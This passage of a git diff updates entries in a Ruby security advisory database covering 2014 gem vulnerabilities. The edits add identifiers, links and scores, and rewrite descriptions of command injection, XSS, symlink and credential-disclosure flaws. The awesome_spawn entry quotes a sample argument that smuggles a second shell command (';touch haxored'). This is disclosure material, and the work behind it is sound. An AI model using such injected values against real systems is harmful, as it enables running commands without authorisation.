   date: 2014-01-14
   description: |
     echor Gem for Ruby contains a flaw that is due to the program exposing
     credential information in the system process listing. This may allow a local
     attacker to gain access to plaintext credential information.
+  cvss_v3: 7.8
 ---
diff --git a/advisories/_posts/2014-01-14-OSVDB-102129.md b/advisories/_posts/2014-01-14-OSVDB-102129.md
deleted file mode 100644
index 7f6cd543..00000000
--- a/advisories/_posts/2014-01-14-OSVDB-102129.md
+++ /dev/null
@@ -1,19 +0,0 @@
----
-layout: advisory
-title: ! 'OSVDB-102129: Echor Gem for Ruby Arbitrary Command Execution'
-comments: false
-categories:
-- echor
-advisory:
-  gem: echor
-  osvdb: 102129
-  url: http://osvdb.org/show/osvdb/102129
-  title: Echor Gem for Ruby Arbitrary Command Execution
-  date: 2014-01-14
-  description: Echor Gem for Ruby contains a flaw in backplane.rb in the perform_request
-    function that is triggered when a semi-colon (;) is injected into a username or
-    password. This may allow a context-dependent attacker to inject arbitrary commands
-    if the gem is used in a rails application.
-  cvss_v2: 
-  patched_versions: 
----
diff --git a/advisories/_posts/2014-01-14-OSVDB-102130.md b/advisories/_posts/2014-01-14-OSVDB-102130.md
deleted file mode 100644
index b3d010a3..00000000
--- a/advisories/_posts/2014-01-14-OSVDB-102130.md
+++ /dev/null
@@ -1,19 +0,0 @@
----
-layout: advisory
-title: ! 'OSVDB-102130: Echor Gem for Ruby Process Listing Local Plaintext Credential
-  Disclosure'
-comments: false
-categories:
-- echor
-advisory:
-  gem: echor
-  osvdb: 102130
-  url: http://osvdb.org/show/osvdb/102130
-  title: Echor Gem for Ruby Process Listing Local Plaintext Credential Disclosure
-  date: 2014-01-14
-  description: Echor Gem for Ruby contains a flaw that is due to the program exposing
-    credential information in the system process listing. This may allow a local attacker
-    to gain access to plaintext credential information.
-  cvss_v2: 
-  patched_versions: 
----
diff --git a/advisories/_posts/2014-01-28-CVE-2014-1831.md b/advisories/_posts/2014-01-28-CVE-2014-1831.md
index 4ab6cf18..f97713df 100644
--- a/advisories/_posts/2014-01-28-CVE-2014-1831.md
+++ b/advisories/_posts/2014-01-28-CVE-2014-1831.md
@@ -1,7 +1,7 @@
 ---
 layout: advisory
-title: 'CVE-2014-1831 (passenger): Phusion Passenger Server Instance Directory Creation
-  Local Symlink File Overwrite'
+title: 'CVE-2014-1831 (passenger): CVE-2014-1831 CVE-2014-1832 rubygem-passenger:
+  insecure use of temporary files'
 comments: false
 categories:
 - passenger
@@ -9,13 +9,15 @@ advisory:
   gem: passenger
   cve: 2014-1831
   osvdb: 102613
-  url: http://osvdb.org/show/osvdb/102613
-  title: Phusion Passenger Server Instance Directory Creation Local Symlink File Overwrite
+  ghsa: c7j7-p5jq-26ff
+  url: https://nvd.nist.gov/vuln/detail/CVE-2014-1831
+  title: 'CVE-2014-1831 CVE-2014-1832 rubygem-passenger: insecure use of temporary
+    files'
   date: 2014-01-28
-  description: Phusion Passenger contains a flaw as the program creates the server
-    instance directory insecurely. It is possible for a local attacker to use a symlink
-    attack against the directory to cause the program to unexpectedly overwrite an
-    arbitrary file.
+  description: |
+    Phusion Passenger before 4.0.37 allows local users to write to certain
+    files and directories via a symlink attack on (1) control_process.pid or a (2) generation-*
+    file.
   cvss_v2: 2.1
   patched_versions:
   - ">= 4.0.37"
diff --git a/advisories/_posts/2014-01-29-CVE-2014-1832.md b/advisories/_posts/2014-01-29-CVE-2014-1832.md
index 0e075fbf..e0ed3b01 100644
--- a/advisories/_posts/2014-01-29-CVE-2014-1832.md
+++ b/advisories/_posts/2014-01-29-CVE-2014-1832.md
@@ -1,7 +1,7 @@
 ---
 layout: advisory
-title: 'CVE-2014-1832 (passenger): Phusion Passenger Server Instance Directory Creation
-  Local Symlink File Overwrite'
+title: 'CVE-2014-1832 (passenger): CVE-2014-1831 CVE-2014-1832 rubygem-passenger:
+  insecure use of temporary files'
 comments: false
 categories:
 - passenger
@@ -9,13 +9,15 @@ advisory:
   gem: passenger
   cve: 2014-1832
   osvdb: 102613
-  url: http://osvdb.org/show/osvdb/102613
-  title: Phusion Passenger Server Instance Directory Creation Local Symlink File Overwrite
+  ghsa: qw8w-2xcp-xg59
+  url: https://nvd.nist.gov/vuln/detail/CVE-2014-1832
+  title: 'CVE-2014-1831 CVE-2014-1832 rubygem-passenger: insecure use of temporary
+    files'
   date: 2014-01-29
-  description: Phusion Passenger contains a flaw as the program creates the server
-    instance directory insecurely. It is possible for a local attacker to use a symlink
-    attack against the directory to cause the program to unexpectedly overwrite an
-    arbitrary file.
+  description: |
+    'Phusion Passenger 4.0.37 allows local users to write to certain files
+    and directories via a symlink attack on (1) control_process.pid or a (2) generation-*
+    file.  NOTE: this vulnerability exists because of an incomplete fix for CVE-2014-1831.'
   cvss_v2: 2.1
   patched_versions:
   - ">= 4.0.38"
diff --git a/advisories/_posts/2014-01-31-OSVDB-103151.md b/advisories/_posts/2014-01-31-OSVDB-103151.md
index 53047952..75723c53 100644
--- a/advisories/_posts/2014-01-31-OSVDB-103151.md
+++ b/advisories/_posts/2014-01-31-OSVDB-103151.md
@@ -1,20 +1,26 @@
 ---
 layout: advisory
-title: 'OSVDB-103151 (paperclip): Paperclip Gem for Ruby contains a flaw'
+title: 'OSVDB-103151 (paperclip): Paperclip: Access Restriction Bypass'
 comments: false
 categories:
 - paperclip
 advisory:
   gem: paperclip
   osvdb: 103151
-  url: http://osvdb.org/show/osvdb/103151
-  title: Paperclip Gem for Ruby contains a flaw
+  url: https://security.snyk.io/vuln/SNYK-RUBY-PAPERCLIP-20144
+  title: 'Paperclip: Access Restriction Bypass'
   date: 2014-01-31
-  description: Paperclip Gem for Ruby contains a flaw that is due to the application
+  description: |
+    Paperclip Gem for Ruby contains a flaw that is due to the application
     failing to properly validate the file extension, instead only validating the Content-Type
     header during file uploads. This may allow a remote attacker to bypass restrictions
     on file types for uploaded files by spoofing the content-type.
-  cvss_v2: 
   patched_versions:
   - ">= 4.0.0"
+  related:
+    url:
+    - https://thoughtbot.com/blog/prevent-spoofing-with-paperclip
+    - https://www.theregister.com/2014/02/09/content_type_spoofing_bug_in_ror_paperclip
+    - https://security.snyk.io/vuln/SNYK-RUBY-PAPERCLIP-20144
+    - http://osvdb.org/show/osvdb/103151
 ---
diff --git a/advisories/_posts/2014-02-07-CVE-2014-0046.md b/advisories/_posts/2014-02-07-CVE-2014-0046.md
index bab13607..d4446109 100644
--- a/advisories/_posts/2014-02-07-CVE-2014-0046.md
+++ b/advisories/_posts/2014-02-07-CVE-2014-0046.md
@@ -8,6 +8,7 @@ categories:
 advisory:
   gem: ember-source
   cve: 2014-0046
+  ghsa: 4q53-fqhc-cr46
   url: https://groups.google.com/forum/#!topic/ember-security/1h6FRgr8lXQ
   title: Ember.js XSS Vulnerability With {{link-to}} Helper in Non-block Form
   date: 2014-02-07
@@ -26,9 +27,9 @@ advisory:
     All users running an affected release and binding user-supplied data to the
     {{link-to}} helper's title attribute should either upgrade or use one of the
     workarounds immediately.
+  unaffected_versions:
+  - "< 1.2.0"
   patched_versions:
   - "~> 1.2.2"
   - ">= 1.3.2"
-  unaffected_versions:
-  - "< 1.2.0"
 ---
diff --git a/advisories/_posts/2014-02-13-CVE-2014-0083.md b/advisories/_posts/2014-02-13-CVE-2014-0083.md
index 65a23de0..efecb5e9 100644
--- a/advisories/_posts/2014-02-13-CVE-2014-0083.md
+++ b/advisories/_posts/2014-02-13-CVE-2014-0083.md
@@ -1,7 +1,7 @@
 ---
 layout: advisory
-title: 'CVE-2014-0083 (net-ldap): Net::LDAP for Ruby lib/net/ldap/password.rb SSHA
-  Password Generation Weak Salt'
+title: 'CVE-2014-0083 (net-ldap): CVE-2014-0083 rubygem-net-ldap: SSHA passwords generated
+  by the net-ldap Ruby gem use a weak salt'
 comments: false
 categories:
 - net-ldap
@@ -9,15 +9,16 @@ advisory:
   gem: net-ldap
   cve: 2014-0083
   osvdb: 106108
-  url: http://osvdb.org/show/osvdb/106108
-  title: Net::LDAP for Ruby lib/net/ldap/password.rb SSHA Password Generation Weak
-    Salt
+  ghsa: qwgm-mxm4-3q2c
+  url: https://nvd.nist.gov/vuln/detail/CVE-2014-0083
+  title: 'CVE-2014-0083 rubygem-net-ldap: SSHA passwords generated by the net-ldap
+    Ruby gem use a weak salt'
   date: 2014-02-13
-  description: Net::LDAP for Ruby contains a flaw in lib/net/ldap/password.rb. The
-    issue is due to the program generating SSHA passwords with a weak salt value that
-    is between 0 and 999. This may allow a local attacker to more easily gain access
-    to password information.
+  description: |
+    The Ruby net-ldap gem before 0.11 uses a weak salt when generating SSHA
+    passwords.
   cvss_v2: 1.9
+  cvss_v3: 5.5
   patched_versions:
   - ">= 0.6.0"
 ---
diff --git a/advisories/_posts/2014-02-18-CVE-2014-0080.md b/advisories/_posts/2014-02-18-CVE-2014-0080.md
index a28c0c04..e4cca673 100644
--- a/advisories/_posts/2014-02-18-CVE-2014-0080.md
+++ b/advisories/_posts/2014-02-18-CVE-2014-0080.md
@@ -1,6 +1,7 @@
 ---
 layout: advisory
-title: 'CVE-2014-0080 (activerecord): Data Injection Vulnerability in Active Record'
+title: 'CVE-2014-0080 (activerecord): CVE-2014-0080 rubygem-activerecord: PostgreSQL
+  array data injection vulnerability'
 comments: false
 categories:
 - activerecord
@@ -10,14 +11,16 @@ advisory:
   framework: rails
   cve: 2014-0080
   osvdb: 103438
-  url: http://osvdb.org/show/osvdb/103438
-  title: Data Injection Vulnerability in Active Record
+  ghsa: hqf9-rc9j-5fmj
+  url: https://nvd.nist.gov/vuln/detail/CVE-2014-0080
+  title: 'CVE-2014-0080 rubygem-activerecord: PostgreSQL array data injection vulnerability'
   date: 2014-02-18
   description: |
-    Ruby on Rails contains a flaw in connection_adapters/postgresql/cast.rb
-    in Active Record. This issue may allow a remote attacker to inject data
-    into PostgreSQL array columns via a specially crafted string.
-  cvss_v2: 
+    SQL injection vulnerability in activerecord/lib/active_record/connection_adapters/postgresql/cast.rb
+    in Active Record in Ruby on Rails 4.0.x before 4.0.3, and 4.1.0.beta1, when PostgreSQL
+    is used, allows remote attackers to execute "add data" SQL commands via vectors
+    involving \ (backslash) characters that are not properly handled in operations on
+    array columns.
   unaffected_versions:
   - "< 3.2.0"
   - "~> 3.2.0"
diff --git a/advisories/_posts/2014-02-18-CVE-2014-0081.md b/advisories/_posts/2014-02-18-CVE-2014-0081.md
index cd5d6a83..8f111831 100644
--- a/advisories/_posts/2014-02-18-CVE-2014-0081.md
+++ b/advisories/_posts/2014-02-18-CVE-2014-0081.md
@@ -1,7 +1,7 @@
 ---
 layout: advisory
-title: 'CVE-2014-0081 (actionpack): XSS Vulnerability in number_to_currency, number_to_percentage
-  and number_to_human'
+title: 'CVE-2014-0081 (actionpack): CVE-2014-0081 rubygem-actionpack: number_to_currency,
+  number_to_percentage and number_to_human XSS vulnerability'
 comments: false
 categories:
 - actionpack
@@ -11,17 +11,17 @@ advisory:
   framework: rails
   cve: 2014-0081
   osvdb: 103439
-  url: http://osvdb.org/show/osvdb/103439
-  title: XSS Vulnerability in number_to_currency, number_to_percentage and number_to_human
+  ghsa: m46p-ggm5-5j83
+  url: https://nvd.nist.gov/vuln/detail/CVE-2014-0081
+  title: 'CVE-2014-0081 rubygem-actionpack: number_to_currency, number_to_percentage
+    and number_to_human XSS vulnerability'
   date: 2014-02-18
   description: |
-    Ruby on Rails contains a flaw that allows a cross-site scripting (XSS) attack.
-    This flaw exists because the actionpack/lib/action_view/helpers/number_helper.rb
-    script does not validate input to the 'number_to_currency', 'number_to_percentage',
-    and 'number_to_human' helpers before returning it to users. This may allow a
-    remote attacker to create a specially crafted request that would execute arbitrary
-    script code in a user's browser session within the trust relationship between
-    their browser and the server.
+    Multiple cross-site scripting (XSS) vulnerabilities in actionview/lib/action_view/helpers/number_helper.rb
+    in Ruby on Rails before 3.2.17, 4.0.x before 4.0.3, and 4.1.x before 4.1.0.beta2
+    allow remote attackers to inject arbitrary web script or HTML via the (1) format,
+    (2) negative_format, or (3) units parameter to the (a) number_to_currency, (b) number_to_percentage,
+    or (c) number_to_human helper.
   cvss_v2: 4.3
   patched_versions:
   - "~> 3.2.17"
diff --git a/advisories/_posts/2014-02-18-CVE-2014-0082.md b/advisories/_posts/2014-02-18-CVE-2014-0082.md
index 0afe6fe3..9ea3e494 100644
--- a/advisories/_posts/2014-02-18-CVE-2014-0082.md
+++ b/advisories/_posts/2014-02-18-CVE-2014-0082.md
@@ -1,7 +1,7 @@
 ---
 layout: advisory
-title: 'CVE-2014-0082 (actionpack): Denial of Service Vulnerability in Action View
-  when using render :text'
+title: 'CVE-2014-0082 (actionpack): CVE-2014-0082 rubygem-actionpack: Action View
+  string handling denial of service'
 comments: false
 categories:
 - actionpack
@@ -11,17 +11,19 @@ advisory:
   framework: rails
   cve: 2014-0082
   osvdb: 103440
-  url: http://osvdb.org/show/osvdb/103440
-  title: Denial of Service Vulnerability in Action View when using render :text
+  ghsa: 7cgp-c3g7-qvrw
+  url: https://nvd.nist.gov/vuln/detail/CVE-2014-0082
+  title: 'CVE-2014-0082 rubygem-actionpack: Action View string handling denial of
+    service'
   date: 2014-02-18
   description: |
-    Ruby on Rails contains a flaw in actionpack/lib/action_view/template/text.rb
-    in the text rendering component of Action View that is triggered when
-    handling MIME types that are converted to symbols. This may allow a
-    remote attacker to cause a denial of service.
+    actionpack/lib/action_view/template/text.rb in Action View in Ruby on
+    Rails 3.x before 3.2.17 converts MIME type strings to symbols during use of the
+    :text option to the render method, which allows remote attackers to cause a denial
+    of service (memory consumption) by including these strings in headers.
   cvss_v2: 5.0
   unaffected_versions:
-  - "~> 4.0.0"
+  - ">= 4.0.0"
   patched_versions:
   - ">= 3.2.17"
 ---
diff --git a/advisories/_posts/2014-03-05-CVE-2014-0036.md b/advisories/_posts/2014-03-05-CVE-2014-0036.md
index d77203f4..d836d7bb 100644
--- a/advisories/_posts/2014-03-05-CVE-2014-0036.md
+++ b/advisories/_posts/2014-03-05-CVE-2014-0036.md
@@ -1,6 +1,6 @@
 ---
 layout: advisory
-title: 'CVE-2014-0036 (rbovirt): rbovirt Gem for Ruby contains a flaw'
+title: 'CVE-2014-0036 (rbovirt): CVE-2014-0036 rubygem-rbovirt: unsafe use of rest-client'
 comments: false
 categories:
 - rbovirt
@@ -8,16 +8,14 @@ advisory:
   gem: rbovirt
   cve: 2014-0036
   osvdb: 104080
-  url: http://osvdb.org/show/osvdb/104080
-  title: rbovirt Gem for Ruby contains a flaw
+  ghsa: ww79-8xwv-932x
+  url: https://nvd.nist.gov/vuln/detail/CVE-2014-0036
+  title: 'CVE-2014-0036 rubygem-rbovirt: unsafe use of rest-client'
   date: 2014-03-05
   description: |
-    rbovirt Gem for Ruby contains a flaw related to certificate validation.
-    The issue is due to the program failing to validate SSL certificates. This may
-    allow an attacker with access to network traffic (e.g. MiTM, DNS cache
-    poisoning) to spoof the SSL server via an arbitrary certificate that appears
-    valid. Such an attack would allow for the interception of sensitive traffic,
-    and potentially allow for the injection of content into the SSL stream.
+    The rbovirt gem before 0.0.24 for Ruby uses the rest-client gem with
+    SSL verification disabled, which allows remote attackers to conduct man-in-the-middle
+    attacks via unspecified vectors.
   cvss_v2: 6.8
   patched_versions:
   - ">= 0.0.24"
diff --git a/advisories/_posts/2014-03-10-CVE-2014-2322.md b/advisories/_posts/2014-03-10-CVE-2014-2322.md
index 064aa93f..28145d6f 100644
--- a/advisories/_posts/2014-03-10-CVE-2014-2322.md
+++ b/advisories/_posts/2014-03-10-CVE-2014-2322.md
@@ -9,7 +9,8 @@ advisory:
   gem: Arabic-Prawn
   cve: 2014-2322
   osvdb: 104365
-  url: http://osvdb.org/show/osvdb/104365
+  ghsa: hgmw-x865-hf9x
+  url: http://www.openwall.com/lists/oss-security/2014/03/10/8
   title: Arabic Prawn Gem for Ruby lib/string_utf_support.rb User Input Handling Remote
     Command Injection
   date: 2014-03-10
@@ -17,5 +18,20 @@ advisory:
     Arabic Prawn Gem for Ruby contains a flaw in the lib/string_utf_support.rb
     file. The issue is due to the program failing to sanitize user input. This may
     allow a remote attacker to inject arbitrary commands.
+
+    "lib/string_utf_support.rb" in the Arabic Prawn 0.0.1 gem for Ruby
+    allows remote attackers to execute arbitrary commands via shell
+    metacharacters  in the (1) downloaded_file or (2) url variable.
   cvss_v2: 7.5
+  notes: Never patched
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2014-2322
+    - http://www.openwall.com/lists/oss-security/2014/03/10/8
+    - http://www.openwall.com/lists/oss-security/2014/03/12/6
+    - https://web.archive.org/web/20160306235714/http://www.vapid.dhs.org/advisories/arabic-ruby-gem.html
+    - http://www.vapid.dhs.org/advisories/arabic-ruby-gem.html
+    - http://www.vapidlabs.com/advisory.php?v=16
+    - https://github.com/advisories/GHSA-hgmw-x865-hf9x
+    - https://rubygems.org/gems/Arabic-Prawn
 ---
diff --git a/advisories/_posts/2014-03-10-OSVDB-104365.md b/advisories/_posts/2014-03-10-OSVDB-104365.md
deleted file mode 100644
index 1e172a12..00000000
--- a/advisories/_posts/2014-03-10-OSVDB-104365.md
+++ /dev/null
@@ -1,22 +0,0 @@
----
-layout: advisory
-title: ! 'OSVDB-104365: Arabic-Prawn Gem for Ruby contains a flaw'
-comments: false
-categories:
-- Arabic-Prawn
-advisory:
-  gem: Arabic-Prawn
-  osvdb: 104365
-  url: http://osvdb.org/show/osvdb/104365
-  title: Arabic-Prawn Gem for Ruby contains a flaw
-  date: 2014-03-10
-  description: ! 'Arabic Prawn Gem for Ruby contains a flaw in the lib/string_utf_support.rb
-
-    file. The issue is due to the program failing to sanitize user input. This may
-
-    allow a remote attacker to inject arbitrary commands.
-
-'
-  cvss_v2: 7.5
-  patched_versions: 
----
diff --git a/advisories/_posts/2014-03-13-CVE-2014-0135.md b/advisories/_posts/2014-03-13-CVE-2014-0135.md
index 7b2c8a3a..35c2facf 100644
--- a/advisories/_posts/2014-03-13-CVE-2014-0135.md
+++ b/advisories/_posts/2014-03-13-CVE-2014-0135.md
@@ -1,7 +1,7 @@
 ---
 layout: advisory
-title: 'CVE-2014-0135 (kafo): Kafo default_values.yaml Insecure Permissions Local
-  Information Disclosure'
+title: 'CVE-2014-0135 (kafo): CVE-2014-0135 rubygem-kafo: temporary file creation
+  vulnerability when creating /tmp/default_values.yaml'
 comments: false
 categories:
 - kafo
@@ -9,15 +9,21 @@ advisory:
   gem: kafo
   cve: 2014-0135
   osvdb: 106826
-  url: http://osvdb.org/show/osvdb/106826
-  title: Kafo default_values.yaml Insecure Permissions Local Information Disclosure
+  ghsa: hxvp-655x-xxqv
+  url: https://nvd.nist.gov/vuln/detail/CVE-2014-0135
+  title: 'CVE-2014-0135 rubygem-kafo: temporary file creation vulnerability when creating
+    /tmp/default_values.yaml'
   date: 2014-03-13
-  description: Kafo contains a flaw that is due to the program using insecure world-readable
-    permissions for the default_values.yaml file. This may allow a local attacker
-    to gain access to password and other unspecified sensitive information located
-    within the file.
+  description: |
+    Kafo before 0.3.17 and 0.4.x before 0.5.2, as used by Foreman, uses world-readable
+    permissions for default_values.yaml, which allows local users to obtain passwords
+    and other sensitive information by reading the file.
   cvss_v2: 1.9
   patched_versions:
   - "~> 0.3.17"
   - ">= 0.5.2"
+  related:
+    url:
+    - https://github.com/rubysec/ruby-advisory-db/issues/238
+    - https://sca.analysiscenter.veracode.com/vulnerability-database/security/world-readable-permissions-as-default/ruby/sid-740/summary
 ---
diff --git a/advisories/_posts/2014-03-25-CVE-2014-4920.md b/advisories/_posts/2014-03-25-CVE-2014-4920.md
index 2c56c37d..ea2b278b 100644
--- a/advisories/_posts/2014-03-25-CVE-2014-4920.md
+++ b/advisories/_posts/2014-03-25-CVE-2014-4920.md
@@ -10,16 +10,18 @@ advisory:
   framework: rails
   cve: 2014-4920
   osvdb: 109206
-  url: http://blog.nvisium.com/2014/03/reflected-xss-vulnerability-in-twitter.html
+  ghsa: vpqv-mqvc-pcx2
+  url: https://nvisium.com/blog/2014/03/28/reflected-xss-vulnerability-in-twitter
   title: Reflective XSS Vulnerability in twitter-bootstrap-rails
   date: 2014-03-25
-  description: "The twitter-bootstrap-rails Gem for Rails contains a flaw that enables
-    a \nreflected cross-site scripting (XSS) attack. This flaw exists because the\nbootstrap_flash
-    helper method does not validate input when handling flash \nmessages before returning
-    it to users. This may allow a context-dependent\nattacker to create a specially
-    crafted request that would execute arbitrary\nscript code in a user's browser
-    session within the trust relationship between\ntheir browser and the server.\n"
-  cvss_v2: 
+  description: |
+    The twitter-bootstrap-rails Gem for Rails contains a flaw that enables a
+    reflected cross-site scripting (XSS) attack. This flaw exists because the
+    bootstrap_flash helper method does not validate input when handling flash
+    messages before returning it to users. This may allow a context-dependent
+    attacker to create a specially crafted request that would execute arbitrary
+    script code in a user's browser session within the trust relationship between
+    their browser and the server.
   patched_versions:
   - ">= 3.2.0"
 ---
diff --git a/advisories/_posts/2014-03-28-CVE-2014-0156.md b/advisories/_posts/2014-03-28-CVE-2014-0156.md
index c5089497..06518df3 100644
--- a/advisories/_posts/2014-03-28-CVE-2014-0156.md
+++ b/advisories/_posts/2014-03-28-CVE-2014-0156.md
@@ -7,14 +7,17 @@ categories:
 advisory:
   gem: awesome_spawn
   cve: 2014-0156
+  ghsa: qpqw-mc85-qvm9
   url: https://github.com/ManageIQ/awesome_spawn/commit/e524f85f1c6e292ef7d117d7818521307ac269ff
   title: OS command injection flaw in awesome_spawn
   date: 2014-03-28
-  description: Awesome spawn contains OS command injection vulnerability, which allows
+  description: |
+    Awesome spawn contains OS command injection vulnerability, which allows
     execution of additional commands passed to Awesome spawn as arguments, e.g. AwesomeSpawn.run('ls',:params
     => {'-l' => ";touch haxored"}). If untrusted input was included in command arguments,
     attacker could use this flaw to execute arbitrary command.
   cvss_v2: 6.8
+  cvss_v3: 9.8
   patched_versions:
   - "~> 1.2.0"
   - ">= 1.3.0"
diff --git a/advisories/_posts/2014-04-16-CVE-2014-2888.md b/advisories/_posts/2014-04-16-CVE-2014-2888.md
index 103420b4..d77100c2 100644
--- a/advisories/_posts/2014-04-16-CVE-2014-2888.md
+++ b/advisories/_posts/2014-04-16-CVE-2014-2888.md
@@ -9,7 +9,8 @@ advisory:
   gem: sfpagent
   cve: 2014-2888
   osvdb: 105971
-  url: http://www.osvdb.org/show/osvdb/105971
+  ghsa: vm28-mrm7-fpjq
+  url: https://nvd.nist.gov/vuln/detail/CVE-2014-2888
   title: sfpagent Gem for Ruby JSON[body] Module Name Remote Command Execution
   date: 2014-04-16
   description: |
diff --git a/advisories/_posts/2014-04-24-OSVDB-106279.md b/advisories/_posts/2014-04-24-OSVDB-106279.md
index 12b39e04..a399de58 100644
--- a/advisories/_posts/2014-04-24-OSVDB-106279.md
+++ b/advisories/_posts/2014-04-24-OSVDB-106279.md
@@ -5,11 +5,12 @@ title: 'OSVDB-106279 (jruby-sandbox): jruby-sandbox Java Class Importation Sandb
 comments: false
 categories:
 - jruby-sandbox
+- jruby
 advisory:
   gem: jruby-sandbox
   platform: jruby
   osvdb: 106279
-  url: http://www.phenoelit.org/stuff/jruby-sandbox.txt
+  url: https://security.snyk.io/vuln/SNYK-RUBY-JRUBYSANDBOX-20156
   title: jruby-sandbox Java Class Importation Sandbox Bypass
   date: 2014-04-24
   description: |
@@ -17,4 +18,8 @@ advisory:
     This may allow a remote attacker to bypass the sandbox for code execution.
   patched_versions:
   - ">= 0.2.3"
+  related:
+    url:
+    - https://www.exploit-db.com/exploits/33028
+    - https://security.snyk.io/vuln/SNYK-RUBY-JRUBYSANDBOX-20156
 ---
diff --git a/advisories/_posts/2014-04-30-OSVDB-118481.md b/advisories/_posts/2014-04-30-OSVDB-118481.md
index 3c791d72..c8350cec 100644
--- a/advisories/_posts/2014-04-30-OSVDB-118481.md
+++ b/advisories/_posts/2014-04-30-OSVDB-118481.md
@@ -1,24 +1,31 @@
 ---
 layout: advisory
-title: |
-  OSVDB-118481 (nokogiri): Nokogiri Gem for JRuby XML Document Root Element Handling Memory Consumption
-  Remote DoS
+title: 'OSVDB-118481 (nokogiri): Nokogiri Gem for JRuby XML Document Root Element
+  Handling Memory Consumption Remote DoS'
 comments: false
 categories:
 - nokogiri
+- jruby
 advisory:
   gem: nokogiri
   platform: jruby
   osvdb: 118481
   url: https://github.com/sparklemotion/nokogiri/pull/1087
-  title: |
-    Nokogiri Gem for JRuby XML Document Root Element Handling Memory Consumption
+  title: Nokogiri Gem for JRuby XML Document Root Element Handling Memory Consumption
     Remote DoS
   date: 2014-04-30
   description: |
-    Nokogiri Gem for JRuby contains a flaw that is triggered when handling a root
-    element in an XML document. This may allow a remote attacker to cause a
-    consumption of memory resources.
+    Nokogiri Gem for JRuby contains a flaw that is triggered when
+    handling a root element in an XML document. This may allow a
+    remote attacker to cause a consumption of memory resources.
   patched_versions:
+  - "~> 1.6.2.2"
   - ">= 1.6.3"
+  related:
+    cve:
+    - 2013-6461
+    url:
+    - https://github.com/sparklemotion/nokogiri/pull/1087
+    - https://github.com/sparklemotion/nokogiri/pull/1087/commits/8293bf6fddecb68b688cf025859afde7609f7bff
+    - https://github.com/sparklemotion/nokogiri/commit/a098ddfc9990ea79dbc191407d3e83611e5ff1e6
 ---
diff --git a/advisories/_posts/2014-05-06-CVE-2014-0130.md b/advisories/_posts/2014-05-06-CVE-2014-0130.md
index d6fc54d9..0ef2ab43 100644
--- a/advisories/_posts/2014-05-06-CVE-2014-0130.md
+++ b/advisories/_posts/2014-05-06-CVE-2014-0130.md
@@ -10,6 +10,7 @@ advisory:
   gem: actionpack
   framework: rails
   cve: 2014-0130
+  ghsa: 6x85-j5j2-27jx
   url: https://groups.google.com/forum/#!topic/rubyonrails-security/NkKc7vTW70o
   title: Directory Traversal Vulnerability With Certain Route Configurations
   date: 2014-05-06
diff --git a/advisories/_posts/2014-06-07-OSVDB-107783.md b/advisories/_posts/2014-06-07-OSVDB-107783.md
index ea503cde..472d1327 100644
--- a/advisories/_posts/2014-06-07-OSVDB-107783.md
+++ b/advisories/_posts/2014-06-07-OSVDB-107783.md
@@ -8,11 +8,17 @@ categories:
 advisory:
   gem: screen_capture
   osvdb: 107783
-  url: http://osvdb.org/show/osvdb/107783
+  url: https://github.com/jamster/screen_capture/blob/master/lib/screen_capture.rb
   title: Screen Capture Gem for Ruby screen_capture.rb URL Handling Arbitrary Command
     Execution
   date: 2014-06-07
-  description: Screen Capture Gem for Ruby contains a flaw in screen_capture.rb that
-    is triggered when handling input passed via the URL. This may allow a context-dependent
-    attacker to execute arbitrary commands.
+  description: |
+    Screen Capture Gem for Ruby contains a flaw in screen_capture.rb that
+    is triggered when handling input passed via the URL. This may allow
+    a context-dependent attacker to execute arbitrary commands.
+  notes: Never patched
+  related:
+    url:
+    - https://github.com/jamster/screen_capture/blob/master/lib/screen_capture.rb
+    - http://osvdb.org/show/osvdb/107783
 ---
diff --git a/advisories/_posts/2014-06-30-CVE-2014-10075.md b/advisories/_posts/2014-06-30-CVE-2014-10075.md
new file mode 100644
index 00000000..35182194
--- /dev/null
+++ b/advisories/_posts/2014-06-30-CVE-2014-10075.md
@@ -0,0 +1,40 @@
+---
+layout: advisory
+title: 'CVE-2014-10075 (karo): karo Gem for Ruby db.rb Metacharacter Handling Remote
+  Command Execution'
+comments: false
+categories:
+- karo
+advisory:
+  gem: karo
+  cve: 2014-10075
+  osvdb: 108573
+  ghsa: qfwq-chf4-jvwg
+  url: https://github.com/advisories/GHSA-qfwq-chf4-jvwg
+  title: karo Gem for Ruby db.rb Metacharacter Handling Remote Command Execution
+  date: 2014-06-30
+  description: |
+    The karo gem 2.3.8 for Ruby allows Remote command injection via
+    the host field.
+
+    karo Gem for Ruby contains a flaw in db.rb that is triggered when handling
+    metacharacters. This may allow a remote attacker to execute arbitrary
+    commands.
+
+    * CWE-77 - Improper Neutralization of Special Elements used
+      in a Command ('Command Injection')
+
+    * Severity: CRITICAL - CVSS_V3 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+  cvss_v2: 7.5
+  cvss_v3: 9.8
+  notes: Never patched
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2014-10075
+    - https://github.com/rahult/karo
+    - https://github.com/rahult/karo/blob/master/CHANGELOG.md
+    - https://web.archive.org/web/20250421021935/http://www.vapid.dhs.org/advisories/karo-2.3.8.html
+    - http://www.vapidlabs.com/advisory.php?v=63
+    - https://www.openwall.com/lists/oss-security/2014/07/07/22
+    - https://github.com/advisories/GHSA-qfwq-chf4-jvwg
+---
diff --git a/advisories/_posts/2014-06-30-CVE-2014-4991.md b/advisories/_posts/2014-06-30-CVE-2014-4991.md
index fcfe149a..4c296b66 100644
--- a/advisories/_posts/2014-06-30-CVE-2014-4991.md
+++ b/advisories/_posts/2014-06-30-CVE-2014-4991.md
@@ -1,20 +1,23 @@
 ---
 layout: advisory
-title: 'CVE-2014-4991 (codders-dataset): codders-dataset Gem for Ruby /lib/dataset/database/mysql.rb
-  Process Table Local Plaintext Credential Disclosure'
+title: 'CVE-2014-4991 (codders-dataset): codders-dataset Gem for Ruby lib/dataset/database/mysql.rb
+  and lib/dataset/database/postgresql.rb Process Table Local Plaintext Credential
+  Disclosure'
 comments: false
 categories:
 - codders-dataset
 advisory:
   gem: codders-dataset
   cve: 2014-4991
-  osvdb: 108583
-  url: http://osvdb.org/show/osvdb/108583
-  title: codders-dataset Gem for Ruby /lib/dataset/database/mysql.rb Process Table
-    Local Plaintext Credential Disclosure
+  osvdb: 108582
+  ghsa: w9vv-fvw8-j6q3
+  url: https://nvd.nist.gov/vuln/detail/CVE-2014-4991
+  title: codders-dataset Gem for Ruby lib/dataset/database/mysql.rb and lib/dataset/database/postgresql.rb
+    Process Table Local Plaintext Credential Disclosure
   date: 2014-06-30
